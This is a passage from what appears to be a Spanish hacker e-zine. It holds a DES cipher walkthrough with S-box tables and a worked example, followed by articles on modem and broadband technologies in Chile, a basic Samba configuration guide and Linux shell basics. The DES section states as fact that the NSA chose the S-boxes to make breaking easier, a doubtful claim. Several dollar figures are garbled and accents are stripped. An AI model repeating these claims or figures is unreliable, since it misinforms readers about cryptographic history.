calculamos la funcin f, haciendo un XOR con la salida E(Rn-1) junto con la llave Kn: Kn + E(Rn-1). Para K1 , E(R0), tenemos: K1 = 000110 110000 001011 101111 111111 000111 000001 110010 E(R0) = 011110 100001 010101 010101 011110 100001 010101 010101 K1+E(R0) = 011000 010001 011110 111010 100001 100110 010100 100111. Aun no se terminan los calculos de f . Hasta este punto hemos expandido Rn-1 desde 32 bits a 48 bits, utilizando la tabla de seleccin y le hemos aplicado un XOR al resultado con la llave Kn. Ahora tenemos 48 bits, o 8 grupos de 6 bits. Ahora haremos algo extrao a cada grupo de 6 bits: los utilizaremos como direcciones en tablas llamadas "cajas S". Cada grupo de 6 bits nos dar una direccin en una caja S distinta. Localizado en ese lugar se encontrar un nmero de 4 bits. Este nmero de 4 bits reemplazar a los 6 originales. El resultado neto es que los 8 grupos de 6 bits sern transformados en 8 grupos de 4 bits (las salidas de 4 bits de las cajas S) para 32 bits en total. Como vimos en la historia del algoritmo, la seleccin de estas cajas fue influenciada por la NSA, para facilitar el rompimiento del cdigo. [BGK77] Con el resultado previo, que es de 48 bits, en la forma: Kn + E(Rn-1) =B1B2B3B4B5B6B7B8, donde cada Bi es un grupo de 6 bits. Ahora calculamos S1(B1)S2(B2)S3(B3)S4(B4)S5(B5)S6(B6)S7(B7)S8(B8) donde Si(Bi) se refiere a la salida de la caja S nmero i. Para repetir, cada una de las funciones S1, S2,..., S8, toma un bloque de 6 bits y lo convierte a un bloque de 4 bits. La tabla qe determina S1 es mostrada y explicada a continuacin: Nmero de columna Reng No. 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7 1 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8 2 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0 3 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13 S1 Si S1 es la funcin definida en esta tabla y B es un bloque de 6 bits, entonces S1(B) es determinada de la siguiente manera: El primer y ltimo bit de B representan en base 2 el nmero en el rango decimal 0 a 3 (o binario 00 a 11). Sea el nmero i. Los 4 bits medios de B representan en base 2 un nmero en el rango decimal 0 a 15 (binario 0000 a 1111). Sea ese nmero j. Consultar en la tabla el nmero en el rengln i y en la columna j. El resultado de la consulta es un nmero en el rango de 0 a 15 y esta representado por un bloque de 4 bits. Ese bloque es la salida S1(B) de S1 para la entrada B. Por ejemplo, para la entrada B = 011011 el primer bit es "0" y el ltimo bit "1" dando 01 como el rengln. Este es el rengln 1. Los 4 bits medios son "1101". Este es el equivalente binario del decimal 13, as que la columna es la 13. En el rengln 1, columna 13 aparece 5. Esto determina la salida; 5 es el nmero binario 0101, as que la salida es 0101. As S1(011011) = 0101. Las tablas definiendo las funciones S1,...,S8 son las siguientes: 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13 S1 15 1 8 14 6 11 3 4 9 7 2 13 12 0 5 10 3 13 4 7 15 2 8 14 12 0 1 10 6 9 11 5 0 14 7 11 10 4 13 1 5 8 12 6 9 3 2 15 13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 9 S2 10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8 13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1 13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7 1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12 S3 7 13 14 3 0 6 9 10 1 2 8 5 11 12 4 15 13 8 11 5 6 15 0 3 4 7 2 12 1 10 14 9 10 6 9 0 12 11 7 13 15 1 3 14 5 2 8 4 3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14 S4 2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9 14 11 2 12 4 7 13 1 5 0 15 10 3 9 8 6 4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14 11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3 S5 12 1 10 15 9 2 6 8 0 13 3 4 14 7 5 11 10 15 4 2 7 12 9 5 6 1 13 14 0 11 3 8 9 14 15 5 2 8 12 3 7 0 4 10 1 13 11 6 4 3 2 12 9 5 15 10 11 14 1 7 6 0 8 13 S6 4 11 2 14 15 0 8 13 3 12 9 7 5 10 6 1 13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6 1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2 6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12 S7 13 2 8 4 6 15 11 1 10 9 3 14 5 0 12 7 1 15 13 8 10 3 7 4 12 5 6 11 0 14 9 2 7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8 2 1 14 7 4 10 8 13 15 12 9 0 3 5 6 11 S8 Para la primera ronda, obtenemos como resultado de las ocho cajas S: K1 + E(R0) = 011000 010001 011110 111010 100001 100110 010100 100111. S1(B1)S2(B2)S3(B3)S4(B4)S5(B5)S6(B6)S7(B7)S8(B8) = 0101 1100 1000 0010 1011 0101 1001 0111 La ltima fase del clculo de f es realizar una permutacin P de la salida de la caja-S para obtener el valor final de f: f = P(S1(B1)S2(B2)...S8(B8)) La permutacin P est definida en la siguiente tabla. P produce una salida de 32-bit de una entrada de 32-bit permutando los bits de la entrada. 16 7 20 21 29 12 28 17 1 15 23 26 5 18 31 10 2 8 24 14 32 27 3 9 19 13 30 6 22 11 4 25 P Para la entrada de las ocho cajas S: S1(B1)S2(B2)S3(B3)S4(B4)S5(B5)S6(B6)S7(B7)S8(B8) = 0101 1100 1000 0010 1011 0101 1001 0111 obtenemos f = 0010 0011 0100 1010 1010 1001 1011 1011 R1 = L0 + f(R0 , K1) = 1100 1100 0000 0000 1100 1100 1111 1111 + 0010 0011 0100 1010 1010 1001 1011 1011 = 1110 1111 0100 1010 0110 0101 0100 0100 En la siguiente ronda, tendremos L2 = R1, que es el bloque que acabamos de calcular y luego tendremos que calcular R2 =L1 f(R1, K2), y as por 16 rondas. Al final de la ltima ronda, tendremos los bloques L16 y R16. Luego tendremos que invertir el orden de los dos bloques en el bloque de 64 bits. R16L16 y aplicar una permutacin final PI-1 como es definida por la siguiente tabla: 40 8 48 16 56 24 64 32 39 7 47 15 55 23 63 31 38 6 46 14 54 22 62 30 37 5 45 13 53 21 61 29 36 4 44 12 52 20 60 28 35 3 43 11 51 19 59 27 34 2 42 10 50 18 58 26 33 1 41 9 49 17 57 25 PI-1 Esto es, la salida del algoritmo tiene el bit 40 de la entrada como su primer, etc. Si procesamos los 16 bloques utilizando este mtodo, al llegar a la ltima ronda (la nmero 16) L16 = 0100 0011 0100 0010 0011 0010 0011 0100 R16 = 0000 1010 0100 1100 1101 1001 1001 0101 Invertimos el orden de estos dos bloques y aplicamos la permutacin final a R16L16 = 00001010 01001100 11011001 10010101 01000011 01000010 00110010 00110100 PI-1 = 10000101 11101000 00010011 01010100 00001111 00001010 10110100 00000101 que en forma hexadecimal es 85E813540F0AB405. Esta es la forma encriptada de M = 0123456789ABCDEF: La desencriptacin es simplemente el orden inverso de la encriptacin. La desencriptacin es simplemente el inverso de la encriptacin, siguiendo los mismos pasos pero invirtiendo el orden en que las subllaves son aplicadas. Es de notar, sin embargo, que ha sido argumentado [DDF83] que las permutaciones PI y PI-1 no aaden significancia criptogrfica. Sin embargo es probable que este argumento no sea vlido bajo otros modos de operacin de DES (ver siguiente seccin). Adems, Schaumuller-Bichl [Sch82] muestran que la complejidad del DES depende principalmente de las cajas-S, el nmero de rondas y la utilizacin de las llaves, no de las permutaciones. 5.- Modos de operacin DES El algoritmos DES convierte un bloque de mensaje de 64 bits M en un bloque encriptado C de 64 bits. Si cada bloque de 64 bits es encriptado individualmente, se llama a este modo de operacin modo Electronic Code Book (ECB). Existen otras dos modalidades de encriptacin DES llamadas Chain Block Coding (CBC) y Cipher Feedback (CFB), los cuales encriptran cada bloque dependiendo de los bloques previos por una operacin XOR inicial. 6.- Atacando y rompiendo el DES Antes de que la NBS hiciera del DES un estndar, el algoritmo pas por una polmica, como fue mencionado en la seccin de historia. Algunos de los ataques al algoritmo incluyeron uno por los creadores de la criptografa de llave pblica, Martin Hellman y Whitfield Diffie. Hellman escribi "Whit Diffie y yo estamos preocupados con el estndar de encriptamiento de datos propuesto, aunque probablemente seguro contra un ataque comercial, puede ser extremadamente vulnerable a un ataque por una organizacin de inteligencia" (carta a la NBS, Octubre 22, 1975). Diffie y Hellman despus delinearon un ataque de fuerza bruta a DES. Ellos propusieron un equipo de propsito especial, una "computadora paralela utilizando un milln de chips para probar un milln de claves cada uno" por segundo y estimaron su costo en US millones. De regreso al presente (ms exactamente, 1998), la Electronic Frontier Foundation, bajo la direccin de John Gilmore gast 0,000 para construir una mquina que puede probar todo el espacio de llaves de 56 bits del DES en un promedio de 4.5 das. El 17 de julio de 1998 anunciaron que haban roto un llave de 56 bits en 56 horas. Peor an, en enero de 1999, la misma computadora rompi una llave en 22.5 horas. La computadora, llamada "Deep Crack" o "Rompimiento profundo" (una posible deferencia a la maquina "Deep Thought" de IBM), utiliza 27 tarjetas con 64 chips cada uno y es capaz de probar 90 mil millones de llaves por segundo. Si esto es posible con una computadora armada con componentes comerciales, tan solo podemos imaginar lo que es posible hoy en da con tecnologa de la NSA, la cual trata de mantenerse 10 aos delante de las tecnologas comerciales. A pesar de esto, tan recientemente como el 8 de junio de 1998, Robert Litt, principal fiscal de distrito general asociado en el Departamento de Justicia neg que fuera posible que el FBI pudiera romper el DES: "Djenme poner el problema tcnico en contexto: Le tom a 14,000 computadoras Pentium 4 meses el desencriptar un solo problema... No solo estamos hablando del FBI y la NSA [que necesiten capacidad de cmputo masiva], estamos hablando de cada departamento de polica." El experto en criptografa Bruce Schneier: respondi: "...el FBI o es incompetente o esta mintiendo o las dos cosas." Schneier continu "La nica solucin aqu es escoger un algoritmo con una llave mas largar, no hay suficiente silicona en la galaxia o suficiente tiempo antes de que el sol se apague para realizar un ataque de fuerza bruta sobre DES-triple" (Crypto-Gram, Counterpane Systems, 15 agosto, 1998). 7.- DES-Triple El DES-Triple es slo DES con dos llaves de 56 bits aplicadas. Dado un mensaje de texto, la primera llave DES es utilizada para encriptar el mensaje. La segunda llave es utilizada par desencriptar por DES el mensaje encriptado. Puesto que la segunda llave no es la correcta, esta desencripcin slo encripta ms los datos. Est mensaje encriptado dos veces es ahora encriptado una tercera vez con la primera llave. El texto producido ha sido encriptado por el mtodo DES-Triple DES-Triple es slo DES hecho tres veces con dos llaves en un orden en particular. Esto tambin puede ser realizado con tres llaves distintas. En cualquier caso, el espacio de llaves resultante es, aproximadamente, 2^112. 8.- Referencias [Bam83] Bamford, James, The Puzzle Palace, Viking Press, 1983 [BGK77] D.K. Branstead, J. Gait y S.Katzke, "Report of the Workshop on Cryptography in Support of Computer Security", NBSIR 77-1291, National Bureau of Standards, Septiembre 1977 [DDF83] M. Davio, Y. Desmedt, M. Fosseprez, R. Govaerts, J. Hulsobosch, P. Neutjens, P. Piret, J. Quisquater, J. VanderWalle y P. Wouters, "Abalytical Characterisitics of the DES", en Advances in Cryptology, Proceedings of Crypto 83, D.Chaum, R. L. Rivest y A.T. Sherman (editores), pag. 171-202, Plenum Press, New York, E.U.A., 22 al 24 de agosto de 1983 [DiH77] W. Diffie y M.E. Hellman, "Exhaustive Cryptanalysis of the NBS Data Encryption Standard", Computer, Vol. 10, no. 6, pag. 74-84, Junio 1977 [Hel79] M. E. Hellman, "DES will be totally insecure within ten years", SPECTRUM, vol. 16, no. 7, pag. 31-41, Julio 1979 [NBS77] NBS, Data Encryption Standard (DES), FIPS Publicacin 46, National Bureau of Standards, U.S. Department of Commerce, Washington D.C., E.U.A., Enero 1977 [Sch82] I. Schaumuller-Bichl, "Cryptanalysis of the Data Encryption Standard by the Method of Formal Coding", in Cryptography: Proceeding of the workshop on Cryptography (Euroctypt 82), Lecture Notes in Computer Schience, no 149, T. Beth (editor), pag. 235-255, Springer Verlag, Berlin, Alemania Federal, 29 de marzo al 2 de abril de 1982. 9 .- Despedida Con esto termino este articulo recopilado por internet sobre el algortimo DES... Cualquier problema, duda, consulta o sugerecia. Mandenme un mail a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Get Connected >>>----------------------------------[ by NDR113 ]-----=> Esta es una pequea resea sobre los aspectos fundamentales en los que se basan las tecnologias mas utilizadas de comunicacion entre los proveedores de servicios internet, y en general del networking remoto. 1. Modem Analogos Estos son los dispositivos de comunicacion mas bastamente utilizados, y son los encargados de modular y demodular las senales enviadas a traves de la linea telefonica en informacion digital legible para el pc -al recibir- y tb enviar la informacion digital en su forma analoga devuelta a la red telefonica. Al transportar la red telefonica sonidos -en la forma de ondas-, el modem tiene la tarea de covertir los pulsos digitales de 1 y 0, en frencuencias dentro del rango audible para la linea telefonica. El proceso inverso ocurre al recivir informacion. Las velocidades se han superado por el tiempo desde los 300 bits por segundo a los actuales 56 kilobits por segundo, limite teorico en cuanto a la velocidad soportada por las lineas telefonicas, debido a sus limitaciones por ser un medio de transporte analogo basado en cables de cobre. Actualmente los modems podrian separarse en dos grupos, modems "reales" o seriales, y modems por software, winmodems o softmodems. 1.1 Modems Seriales Estos se comunican con el tarro a traves de una interfaz serial, es decir, a traves de un puerto de comunicaciones real, basado en hardware. Esto puede realizarse de forma interna, es decir a traves de una placa ISA o PCI, que cuente con chipsets para realizar las labores de comunicacion. Estos puertos pasan a ser los puertos COM en el ambiente DOS/WIN o los dispostivos ttsy del mundo Unix/Linux. Tambien puede realizarse la labor de forma externa, es decir, utilizando un modem externo que por un cable se comunique con el pc a traves de los puertos seriales de la placa madre. Estos modems reales, son actualmente algo dificiles de conseguir, y ademas caros, en especial los externos que generalmente pasan los 80 dolares. Que recives a cambio por tu dinero? un modem que trabaje de forma independiente del sistema operativo ya que los chips se encargan de todo, haciendo el modem mas compatible -estos son los modems que funkan en Linux- y confiable. 1.2 Modems por Software Aqui entramos a hablar de estos modems que en verdad no tienen mucho de modems... jejee, esto es por que no cuentan con todo el hardware que tiene un modem serial o verdadero, sustuyendo a este un conjunto de software especial que suple esas funciones ausentes, como las de compresion, correccion de errores y comunicacion, es por esto que generalmente cuando los instalas, primero instalas un puerto ficticio de comunicaciones -controlado por el software- para comunicarte con el modem. Aun cuando se les conoce genericamente como winmodems -marca registrada de 3Com-, estos modems en si, teoricamente no son exclusivos del sistema operativo de Microsoft, pues si se desarollara el software necesarios para otros sistemas operativos, el modem funkaria. Pero debido a que los fabricantes no liberan el codigo fuente de sus controladores, hacer las labores de ingeneria inversa, y desenmaranar el funcionamiento de los drivers es complicado. A esta labor se entrego el grupo linmodem.org, quienes estan desarrollando codigo abierto para modems por software. Finalmente, estan dentro de esta categoria tb los HFC, HSP... o modem basados en host. Estos son aun mas mulas tecnicamente hablando, pues relegan mucho del trabajo de los chips con los que cuenta un modem hacia el procesador del PC, es decir, le dan la pega al CPU, eliminandose al maximo las partes en la placa de modem, haciendolo aun mas barato de producir que los ya mulas softmodems comunes. Cual es la ventaja de un softmodem? por que se siguen produciendo? Principalmente por que son baratos de producir... un modem de estos se vende a 10 lucas -20 dolares- por alli, tonces es el sueo de los vendedores y fabricantes de pc, a los que seguramente les salen regalados estos aparatos mulas. Si tienes uno de estos modems, dile adios a otros sistemas operativos que no sea Microsoft. 2. Modem Digitales Aqui tenemos varias tecnologias. Entre ellas se encuentran: 2.1 ISDN - RDSI Integrated Services Digital Network - Red Digital de Servicios Integrados Esta tecnologia se basa en una linea digital, es decir, no en el cableado telefonico comun -el cual es analogo-. Su ancho de banda es de entre 64Kbps a 128kbps en una linea individual -se pueden lograr mayores anchos de bandas si se utiliza mas de una linea-. Por que hablamos de ancho de banda y no de velocidad? Por que a traves de este ancho de banda se dirigen no solo los datos -coneccion a internet p ejemplo- si no tambien las llamadas telefonicas, el fax, servicios telefonicos, etc. Al ser digital todo esto se pueden manejar por separado a traves de una sola linea. Por lo tanto tanto voz como datos se transmite de manera digital y mientras se utiliza alguno de estos servicios se consume ancho de banda, lo que se traduce en una disminucion de la "velocidad" disponible. La linea ISDN en forma de Interfaz de Regimen Basico (BRI) -que es la manera mas comun y normal en la que se encuentra instalada- se compone de 2 canales de 64 kbps compartidos por voz y datos, y un canal de 16 Kbps que acarrea informacion de control. Para conectar el PC, a esta linea se utiliza un modem digital ISDN. Y se instala un router para manejar la entrada y salida en la linea. ISDN es bastante antiguo -data de comienzos de los 90-, en tiempos en que 56Kb era una velocidad asombrosa. Acualmente aun se utiliza -en especial en empresas-, mas su alto costo -tanto en la linea como por el hardware q se necesita- han hecho que sea una tecnologia en descenso dentro del mercado de las telecomunicaciones. ISP <-> PROVEEDOR <--linea ISDN--> Router Suscriptor | A V | Fonos Fax Modem Digital <-> PC 2.2 CableModem Esta tecnologia se basa en la red de television por cable. La informacion va a traves de dos tipos de cableao: uno que puede ser unidireccional (conocido como Telco) y otro bidireccional, el TwoWay. Mientras q en el telco es necesario utilizar de todas maneras un modem normal para poder enviar datos y concretar la conexion -ya que el cable coaxial normal es unidireccional-, solo ofrece bajar datos de la red; el TwoWay se basa en un cable hibrido -mezcla de cable coaxial con fibra optica- que permite tanto el envio como la recepcion de informacion. Al hablar de ancho de banda en el cablemodem se deben barajar varios factores, debido a la topologia del sistema. Aqui a diferencia del ASDL/DSL y ISDN, la linea de carga/descarga de datos no es directa desde el suscriptor a la central. Aqui el sistema es: Two Way ======== ISP/PROVEEDOR <--red hibrida--> Router de Nodo A | | V Subscriptor A -> Television <-> CableModem <-> PC Subscriptor B -> Television <-> Fono Subscriptor C -> Television <-> CableModem <-> PC Telco ===== ISP/PROVEEDOR --red coaxial--> Router de Nodo A | | V | Subscriptor A -> Television | | Subscriptor B -> Television | -> CableModem -> PC |---red telefonica analoga--------------------------<- Modem <- PC Aqui vemos entonces que en ambos casos, tanto TW como Telco, tenemos que el router se encuentra fuera del subscriptor, es decir, esta dispuesto como router de nodo. Entonces, el ancho de banda (27 Mbps Aprox en descarga) es repartido por los subscriptores de todo el nodo. Asi obtenemos en la practica un ancho de banda por subscriptor de unos 256 Kbps por lo general. Eso si, la velocidad real de descarga, muchas veces no supera los 30 o 40 kpbs por servidor. Como se conecta el cable coaxial/hibrido al PC? Zoom a la Conexion =================== -> Cable Hibrido <--> Cable Modem <--cableado de red--> NIC Ethernet <-> PC - VTR Compaia de television y telefonia por cable que en el ao 99 se alio con Chello, el ISP mas grande de europa en banda ancha. Es importante notar que VTR con la inclusion del servicio de internet en sus productos, se convirtio en la primera compaia de telecomunicaciones del mundo en proveer los tres servicios de manera conjunta y por el mismo cable, telefonia, television e internet de banda ancha. Fuera de todo slogan publicitario, este hecho demuestra la posicion de punta que lleva Chile en el campo de las telecomunicacion a nivel internacional. El portal de vtr, aldea.cl, es bastante debil en cuanto al contenido que entrega y su servicio al cliente deja bastante que desear. - Metropolis Intecom proveedora de television por cable en el area central del pais que hay iniciado una fuerte campaa para la inclusion de servicios digitales en su red, como pay-per-view y ahora internet por cable. No puedo opinar sobre la calidad de su servicio pues aca en el norte no ha llegado. Tip: Si ves que tu cable modem comienza a ponerse lento o llega al punto de que simplemente no te conecta a ningun lado: desconcetalo,o sea, desenchufalo y vuelvelo a encender, asi volvera a negociar con el server una coneccion, obtendras otra IP y revivira la coneccion antes muerta. 2.3 DSL Digital Subscriber Line Esta tecnologia se basa en el cable de cobre tradicional que transmite la informacion analoga del servicio telefonico. Donde esta lo digital del asunto? en que entre subscriptor y central se comprimen y codifican los datos utilizando sistemas digitales que trabajan por debajo de la frecuencia utilizada por los servicios analogos, es decir en el rango de los 300 Hz y los 3200 Hz. Para que esta compresion sea eficiente, se deben evitar los ruidos en las lineas, estatica, interferencia y en general lineas no muy bien aisladas o mantenidas. Para efectuar la modulacion/demodulacion de datos se utiliza un router en ambos extremos. Al ser esta linea exclusiva, es decir no se comparte el ancho de banda, se pueden asegurar entre 256 kbps a 2 Mbps aproximadamente. El ancho de banda, que en el caso del CableModem se veia influenciado por la distribucion por nodo, aqui se ve afectado por otros factores, en especial por la distancia. Esta hace que al ir separandose la central del subscriptor se vaya perdiendo la capacidad de asegurar una transmicion confiable, debido a q las seales van por un cable en forma analoga. Para tratar de maximisar la distancia los proveedores instalan repitores intermedios para amplificar la seal, lo que es muy importante debido a que se trabaja a frecuencias tan bajas. Finalmente, la coneccion al PC se hace a traves de una red Ethernet estandar desde el router DSL. ADSL ? Asimmetryc o Asincronicus Digital Subscriber Line, o sea, es DSL en su forma asicronica: velocidad de descarga superior a la velocidad de "subida", asi de simple. DSL es ofrecida de manera limitada -debido a la factibilidad tecnica- por Entel, Telefonica y Manquehue. Es importante sealar q este servicio esta siendo dirigido casi exclusivamente a las empresas y corporaciones, con costos que ascenderian a unos .000 -150 dolares- mensuales. La escepcion es Manquehue, la q dirije su producto DSL al usuario particular. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Configuracion de SAMBA >>>----------------------[ by GengisKAN ]-----=> Indice: ---------------------------------------------------------- 1.- Introduccion 2.- Configuracion general 3.- Compartiendo una unidad Linux con maquinas Window 4.- Compartiendo una unidad Windows con terminales linux 5.- Notas. ---------------------------------------------------------- 1. Introduccion. --------------- En este documento voy a explicar en forma sencilla como configurar el samba, que es una herramienta para moverse a travez de el protocolo NetBIOS o LanManager para linux. El objetivo principal de este documento es dar a conocer como instalar una red con un servidor linux y sus respectivas terminales en windows, ya que la mayoria de las veces en un colegio por ejemplo siempre el servidor de la red es un pc con windows, esto hace que la red sea muy inestable y vulnerable, siendo que trabajando con un servidor linux el rendimiento y la estabilidad de la red aumenta notablemente. Ok, basta de latas y empezemos con lo principal. 2. Configuracion general. ------------------------ *Primero que nada se da por hecho que estan instalados los paquetes de samba, sino fuera hace puedes encontrar el codigo fuente del ultimo samba disponible en ftp://nimbus.anu.edu.au/pub/tridge/samba/. Luego de ese pequeo recordatorio empezamos con la configuracion, toda la configuracion de samba esta dirigida por un solo archivo que por lo general se encuentra en /etc/smb.conf. Cada seccion del fichero empieza con una cabezera onda [global], [tmp], [public], etc. La seccion [global] define algunas variables que samba usara para definir la comparticion de los recursos, como vendrian siendo el nombre del grupo, nombre del pc, etc. La seccion [homes] permite a los usuarios remotos acceder a sus directorios, y restringir el acceso de usuarios agenos al sistema a directorios agenos a ellos. El archivo smb.conf que viene un poco mas abajo es un ejemplo basico de la configuracion de samba y tambien es un ejemplo de como permitir que usuarios remotos accedan a sus directorios principales en el supuesto servidor y escriban en un directorio temporal. Para que un usuario de un terminal windows vea los recursos, el servidor tiene que estar funcionando en la red local, entonces el usuario windows conecta su respectiva unidad usando el explorador de windows, o desde DOS nota: en el siguiente ejemplo se le agregan entradas extras para permitir la comparticion de mas recursos. ------------------------------------------------------------------------- ; Los comentarios van antecedidos de un punto y coma como se ve el ejemplo ;de esta linea ; Tienes que reiniciar el servidor samba cada ves que modifiques este ;archivo ; [global] guest account = nobody ; agregale a la linea anterior un punto y coma para convertirlo en comen ;tario y asi denegar el acceso de usuarios invitados. log file = /var/log/samba/log.%m lock directory = /var/lock/samba workgroup = ACME string server = Tu_Makina share modes = yes [homes] comment = Directorios principales browseables = no read only = no create mode = 0750 [tmp] comment = Ficheros Temporales path = /tmp read only = no public = yes -------------------------------------------------------------------------- En el ejemplo anterior hay varias claves que se pueden modificar, como por ejemplo el workgroup = ACME, que ACME se llama mi pc tu puedes poner el nombre que quieras, otro seria string server = Tu_Maquina es el nombre que quieres asignarle al netbios de tu pc, este nombre no puede contener espacios, y tambien read only = no, puedes ponerle yes para que no se pueda escribir en ese recurso, y asi con muchas otras claves del fichero. 3. Compartir una Unidad Linux con maquinas Windows. ---------------------------------------------------- Compartir una unidad linux con windows es muy facil, solo tienes que modificar el archivo smb.conf nuevamente. Para compartir un directorio con todo el mundo solo hay que modificar algunos datos en smb.conf ------------------------------------------------------------------------- [public] comment = Unidad publica path = /tmp public = yes writable = yes -------------------------------------------------------------------------- Para que esta unidad la puedan leer todos pero solo lo pueden escribir la gente del grupo "alumnos", solo hay que agregar una entrada, que seria: write list = @alumnos 4. Compartir una unidad Windows con Maquinas Linux. --------------------------------------------------- En linux existen algunos comandos que vienen incluidos en el paquete de samba como son "smbclient", "smbmount", etc. Estos comandos sirven para utilizar, listar informacion, etc. sobre una unidad windows desde tu terminal Linux. El comando smbclient es de una interfaz muy parecida a la del ftp y permite transferir archivos desde la maquina windows al servidor linux. Ahora voy a mostrar algunas opciones que posee el comando smbclient. Lo primero que mostrare es como listar la informacion NetBIOS de una maquina, esto seria: [gkan@gengis /root]$ smbclient -L ip y produciria una respues como: Domain=[ACME] OS=[Unix] Server[Samba 2.0.3] Sharename Type Comment --------- ---- ------- homes Disk Directorios Principales tmp Disk Archivos temporales IPC$ IPC IPC Service (Samba 2.0.3) Server Comment ------ ------- GENGIS Samba 2.0.3 Workgroup Master --------- ------ ACME GENGIS Visto estos resultados podemos ejecutar la siguiente opcion, que seria la de conectar con el servidor, esto seria: [gkan@gengis /root]$ smbclient \\ip\recurso que producira lo sig. [gkan@gengis /root]$ smbclient \\gengis\homes Added interface ip=127.0.0.1 bcast=127.255.255.255 nmask=255.0.0.0 Password: Domain=[ACME] OS=[Unix] Server[Samba 2.0.3] smb:\> y ahi estariamos conectado a la unidad remota mediante samba, ahora para desconectar solo hay que tipear exit y listo. Tambien para conocer las otras opciones dentro de samba puedes tipear h y se desplegara la lista de ayuda. 5. NOTAS --------- Esto seria todo lo basico que hay que conocer para configurar samba en un equipo linux u otro tipo de unix, cualquier duda, sugerencia, puteadas, etc. dirigirlas a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla y si tienes ideas o articulos que aportar para nuestro team tambien maileame. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Linux Fundamental II >>>---------------------------[ by NDR113 ]-----=> Saludos, esta es la segunda parte de la guia basica sobre linux que comenze en FYE3, creo que no hace falta repetir q esto es la base, y no mas, para los que no son linuxeros o unixeros y quieren comenzar a usar este sistema operativo o alguna de sus variantes *nix. Quedamos en direccionadores, ahora veremos canalizaciones o pipes. Canalizaciones o Pipe Canalizar significa simplemente enviar la salida de un comando a la entrada de otro, a diferencia de una redireecion q es enviar la salida a un archivo. [ndr113@quark /etc]$ ls | more DIR_COLORS HOSTNAME MACHINE.SID ... -More- Aqui el ls en ves de enviar directamente la lista de archivos en /etc a la pantalla, lo canaliza al comando more, el que toma la entrada y produce una salida en que es necesario presionar una tecla para avanzar la lista. Util para ver directorios largos. Podemos utilizarlo tambien para ver archivos de texto q no caben en pantalla por su extension [ndr113@quark /etc]$ cat fye4.txt | more Se puede tambien imprimir directmente desde la pantalla con algo tan simple como [ndr113@quark /etc]$ cat | lpr Aqui escribe lo que quieras imprimir ^D cat toma la entrada estandar, en este caso la consola por q no se especifico archivo alguno y lpr -el comando de impresion- toma su salida e imprime. Ahora haremos una lista rapida para mostrar el comando sort y otros ejemplos de canalizacion. [ndr113@quark ndr113]$ echo Windows > lista&&echo Unix >> lista&&echo MacOs >>lista [ndr113@quark ndr113]$ cat lista Windows Unix MacOs [ndr113@quark ndr113]$ sort lista | tee lista2 | lpr MacOs Unix Windows Primero creamos la lista usando echo -notese que poner && es para separar un comando de otro, y asi evitar tener que escribir comando por comando y dar enter despues de cada uno, muy util se utilizamos una cuenta remota que sea lenta. Luego sort tomo el archivo lista y lo ordeno alfabeticamente -ese es su uso-, luego canalizamos la lista ordenada al comando tee el cual toma una entrada la guarda en un archivo especificado, en este caso lista2, y tiene una salida extra que puede ser la pantalla en caso q no se especifique, pero en nuestro ejemplo esa salida fue enviada a lpr, asi que sera impresa. Notese que el archivo lista original se mantiene tal como estaba sin cambio. Ahora haremos un archivo en orden invertido llamado lista3. [ndr113@quark ndr113]$ sort lista2 | cat > lista3 Ahora como ya terminamos de ver canalizaciones vamos a eliminar los archivos lista2 y lista3, dejando lista. [ndr113@quark ndr113]$ rm lista[2-3] en nix se puede utilizar los corchetes [] para establer un rango, como en el ejemplo dado. Puede ser muy util para trabajar conn grandes directorios, [ndr113@quark ndr113]$ cp index[3-12].htm /home/www 5.0 Variables y Cadenas 5.1 Variables [ndr113@quark ndr113]$ cp index.htm /home/www/350cc/www [ndr113@quark ndr113]$ cp /fye4.zip /home/www/350cc/www [ndr113@quark ndr113]$ mv /winnt.txt /home/www/350cc/www Si estoy trabajando continuamente con cierto valor, por ejemplo una ruta de directorio que puedo hacer para no tener que escribir una y otra ves lo mismo? Usar variables. Es posible definir una variable que haga referencia a cierto valor dado para su uso posterior. El nombre de la variable no debe tener espacios, ni caracteres de exclamacion o &, solo letras o numeros. Ejemplo: [ndr113@quark ndr113]$ d=/home/www/350cc/www Entonces d ser igual a la ruta /home/ww... etc, para ver el valor de esta o cualquier variable la llamamos con echo [ndr113@quark ndr113]$ echo $d 